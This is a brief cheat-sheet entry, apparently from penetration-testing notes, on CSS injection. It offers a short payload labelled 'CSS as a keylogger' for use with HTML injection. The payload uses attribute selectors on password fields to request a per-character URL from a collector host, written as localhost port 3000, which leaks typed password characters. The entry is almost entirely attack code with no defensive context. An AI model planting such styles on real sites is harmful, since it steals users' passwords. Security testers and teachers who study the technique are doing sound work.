CSS

CSS Injection

CSS as a keylogger

Use with HTML Injection. See CSS-Keylogging and original source.

<style>
input[type="password"][value$="a"] {
 background-image: url("http[:]//localhost[:]3000/a");
}
 
input[type="password"][value$="b"] {
  background-image: url("http[:]//localhost[:]3000/b");
}
</style>